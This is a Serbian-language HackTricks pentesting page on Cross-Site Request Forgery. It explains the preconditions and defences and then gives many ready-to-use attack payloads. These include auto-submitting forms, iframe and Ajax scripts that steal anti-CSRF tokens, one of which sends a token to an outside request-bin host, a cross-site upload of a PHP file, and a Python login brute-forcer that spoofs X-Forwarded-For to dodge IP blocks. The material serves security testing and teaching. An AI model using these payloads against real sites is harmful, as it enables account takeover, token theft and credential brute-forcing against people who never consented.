hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

26 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski Uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o Hakovanju u Realnom Vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovije Najave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Objasnjenje Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) je vrsta sigurnosne ranjivosti koja se nalazi u veb aplikacijama. Omogućava napadačima da izvrše akcije u ime nesumnjivih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamerni sajt. Taj sajt zatim pokreće zahteve ka nalogu žrtve putem metoda poput izvršavanja JavaScript-a, slanja formi ili dohvatanja slika.

Preduslovi za CSRF Napad

Da bi se iskoristila CSRF ranjivost, potrebno je ispuniti nekoliko uslova:

  1. Identifikacija Važne Akcije: Napadač mora pronaći akciju vrednu iskorišćavanja, poput promene korisničke lozinke, e-pošte ili povećanja privilegija.
  2. Upravljanje Sesijom: Korisnička sesija treba da se upravlja isključivo putem kolačića ili zaglavlja HTTP Basic Authentication, jer se ostala zaglavlja ne mogu manipulisati u tu svrhu.
  3. Odsustvo Nepredvidivih Parametara: Zahtev ne sme sadržati nepredvidive parametre, jer oni mogu sprečiti napad.

Brza Provera

Možete uhvatiti zahtev u Burp-u i proveriti CSRF zaštitu i testirati iz pretraživača možete kliknuti na Kopiraj kao fetch i proveriti zahtev:

Odbrana Od CSRF-a

Mogu se primeniti različite mere zaštite od CSRF napada:

  • Kolačići sa istim sajtom (SameSite cookies): Ova osobina sprečava pretraživač da šalje kolačiće zajedno sa zahtevima sa drugih sajtova. Više o kolačićima sa istim sajtom.
  • Deljenje resursa preko različitih izvora (Cross-origin resource sharing): CORS politika sajta žrtve može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa sajta žrtve. Saznajte više o obilasku CORS-a.
  • Provera Korisnika: Traženje korisničke lozinke ili rešavanje captcha-e može potvrditi nameru korisnika.
  • Provera Referrera ili Origin Zaglavlja: Validacija ovih zaglavlja može pomoći u osiguravanju da zahtevi dolaze od pouzdanih izvora. Međutim, pažljivo oblikovanje URL-ova može zaobići loše implementirane provere, kao što su:
  • Korišćenje http://mal.net?orig=http://example.com (URL se završava sa pouzdanim URL-om)
  • Korišćenje http://example.com.mal.net (URL počinje sa pouzdanim URL-om)
  • Menjanje Imena Parametara: Menjanje imena parametara u POST ili GET zahtevima može pomoći u sprečavanju automatizovanih napada.
  • CSRF Tokeni: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtevanje ovog tokena u narednim zahtevima može značajno smanjiti rizik od CSRF-a. Efikasnost tokena može se poboljšati primenom CORS-a.

Razumevanje i primena ovih odbrana su ključni za održavanje sigurnosti i integriteta veb aplikacija.

Bypass Odbrana

Od POST-a do GET-a

Možda je forma koju želite zloupotrebiti pripremljena da pošalje POST zahtev sa CSRF tokenom, međutim, treba proveriti da li je GET takođe validan i da li se CSRF token i dalje validira kada pošaljete GET zahtev.

Nedostatak tokena

Aplikacije mogu implementirati mehanizam za validaciju tokena kada su prisutni. Međutim, ranjivost se javlja ako se validacija potpuno preskoči kada token nije prisutan. Napadači mogu iskoristiti ovo tako što će ukloniti parametar koji nosi token, a ne samo njegovu vrednost. To im omogućava da zaobiđu proces validacije i efikasno izvrše napad Cross-Site Request Forgery (CSRF).

CSRF token nije vezan za korisničku sesiju

Aplikacije koje ne vezuju CSRF tokene za korisničke sesije predstavljaju značajan sigurnosni rizik. Ovi sistemi proveravaju tokene protiv globalnog fonda umesto da osiguraju da je svaki token povezan sa inicijalnom sesijom.

Evo kako napadači iskorišćavaju ovo:

  1. Autentifikacija korišćenjem sopstvenog naloga.
  2. Dobijanje validnog CSRF tokena iz globalnog fonda.
  3. Korišćenje ovog tokena u CSRF napadu protiv žrtve.

Ova ranjivost omogućava napadačima da izvrše neovlaštene zahteve u ime žrtve, iskorišćavajući nedovoljno efikasan mehanizam validacije tokena aplikacije.

Bypass Metoda

Ako zahtev koristi "čudnu" metodu, proverite da li funkcionalnost zamene metoda radi. Na primer, ako koristi PUT metodu, možete pokušati da koristite POST metodu i pošaljete: https://example.com/my/dear/api/val/num?_method=PUT

Ovo takođe može raditi slanjem _method parametra unutar POST zahteva ili korišćenjem zaglavlja:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Bypass Prilagođenog Zaglavlja Tokena

Ako zahtev dodaje prilagođeno zaglavlje sa tokenom u zahtev kao metodu zaštite od CSRF-a, onda:

  • Testirajte zahtev bez Prilagođenog Tokena i takođe zaglavlja.
  • Testirajte zahtev sa tačno istom dužinom ali drugačijim tokenom.

CSRF token se proverava putem kolačića

Aplikacije mogu implementirati zaštitu od CSRF-a dupliranjem tokena i u kolačiću i u parametru zahteva ili postavljanjem CSRF kolačića i proverom da li token poslat na backend odgovara kolačiću. Aplikacija validira zahteve proverom da li token u parametru zahteva odgovara vrednosti u kolačiću.

Međutim, ovaj metod je ranjiv na CSRF napade ako veb sajt ima propuste koji omogućavaju napadaču da postavi CSRF kolačić u pretraživaču žrtve, kao što je CRLF ranjivost. Napadač može iskoristiti ovo učitavanjem obmanjujuće slike koja postavlja kolačić, a zatim pokretanjem CSRF napada.

U nastavku je primer kako bi napad mogao biti struktuiran:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} Imajte na umu da ako je csrf token povezan sa sesijskim kolačićem ovaj napad neće uspeti jer će vam biti potrebno da postavite žrtvi svoju sesiju, i stoga ćete napadati sami sebe. {% endhint %}

Promena Content-Type

Prema ovome, kako bi se izbegli preflight zahtevi koristeći POST metodu, dozvoljene vrednosti Content-Type su:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Međutim, imajte na umu da se logika servera može razlikovati u zavisnosti od korišćenog Content-Type, pa biste trebali isprobati navedene vrednosti i druge poput application/json,text/xml, application/xml.

Primer (sa ovde) slanja JSON podataka kao text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Bypassing Preflight Requests for JSON Data

Kada pokušavate poslati JSON podatke putem POST zahteva, korišćenje Content-Type: application/json u HTML formi nije direktno moguće. Slično, korišćenje XMLHttpRequest za slanje ovog tipa sadržaja pokreće preflight zahtev. Ipak, postoje strategije za potencijalno zaobilaženje ove ograničenosti i proveru da li server obrađuje JSON podatke bez obzira na Content-Type:

  1. Koristite Alternativne Content Type-ove: Koristite Content-Type: text/plain ili Content-Type: application/x-www-form-urlencoded postavljanjem enctype="text/plain" u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
  2. Izmenite Content Type: Da biste izbegli preflight zahtev dok osiguravate da server prepoznaje sadržaj kao JSON, možete poslati podatke sa Content-Type: text/plain; application/json. Ovo ne pokreće preflight zahtev, ali ih server može pravilno obraditi ako je konfigurisan da prihvata application/json.
  3. Korišćenje SWF Flash Fajla: Manje uobičajen, ali izvodljiv metod uključuje korišćenje SWF flash fajla za zaobilaženje ovakvih ograničenja. Za dublje razumevanje ove tehnike, pogledajte ovaj post.

Zaobilaženje Provere Referrera / Origin-a

Izbegavanje Referrer zaglavlja

Aplikacije mogu validirati 'Referer' zaglavlje samo kada je prisutno. Da bi se sprečilo slanje ovog zaglavlja od strane pretraživača, može se koristiti sledeća HTML meta oznaka:

<meta name="referrer" content="never">

Ovo osigurava da se zaglavlje 'Referer' izostavi, potencijalno zaobilazeći provere validacije u nekim aplikacijama.

Bypass-ovi regularnih izraza

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Da biste postavili ime domena servera u URL koji će Referrer poslati unutar parametara, možete uraditi sledeće:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

Bypassovanje metode HEAD

Prvi deo ovog CTF rešenja objašnjava da Oak-ov izvorni kod, ruter je podešen da obradi HEAD zahteve kao GET zahteve bez tela odgovora - uobičajeni trik koji nije jedinstven za Oak. Umesto specifičnog rukovaoca koji se bavi HEAD zahtevima, oni se jednostavno prosleđuju GET rukovaocu, ali aplikacija jednostavno uklanja telo odgovora.

Dakle, ako je GET zahtev ograničen, možete jednostavno poslati HEAD zahtev koji će biti obrađen kao GET zahtev.

Primeri eksploatacije

Izvlačenje CSRF tokena

Ako se CSRF token koristi kao odbrana, možete pokušati da ga izvučete zloupotrebom XSS ranjivosti ili Dangling Markup ranjivosti.

GET korišćenjem HTML tagova

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Drugi HTML5 tagovi koji se mogu koristiti za automatsko slanje GET zahteva su:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Zahtev za dobijanje forme

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Form POST zahtev

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Slanje zahteva POST obrasca putem iframe-a

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST zahtev

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST zahtev

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST zahtev v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Form POST zahtev iz iframe-a

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Ukradi CSRF token i pošalji POST zahtev

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Ukradi CSRF token i pošalji POST zahtev korišćenjem iframe-a, forme i Ajax-a

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Ukradi CSRF token i pošalji POST zahtev korišćenjem iframe-a i forme

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Ukradi token i pošalji ga koristeći 2 iframe-a

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

Ukradi CSRF token pomoću Ajax-a i pošalji post zahtev sa formom

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF sa Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF Brute Force napad na prijavljivanje

Kod može biti korišćen za Brut Force napad na formu za prijavljivanje koristeći CSRF token (Takođe koristi zaglavlje X-Forwarded-For kako bi pokušao da zaobiđe moguće crne liste IP adresa):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Alati

Reference

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Uvidi u hakovanje
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovije najave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: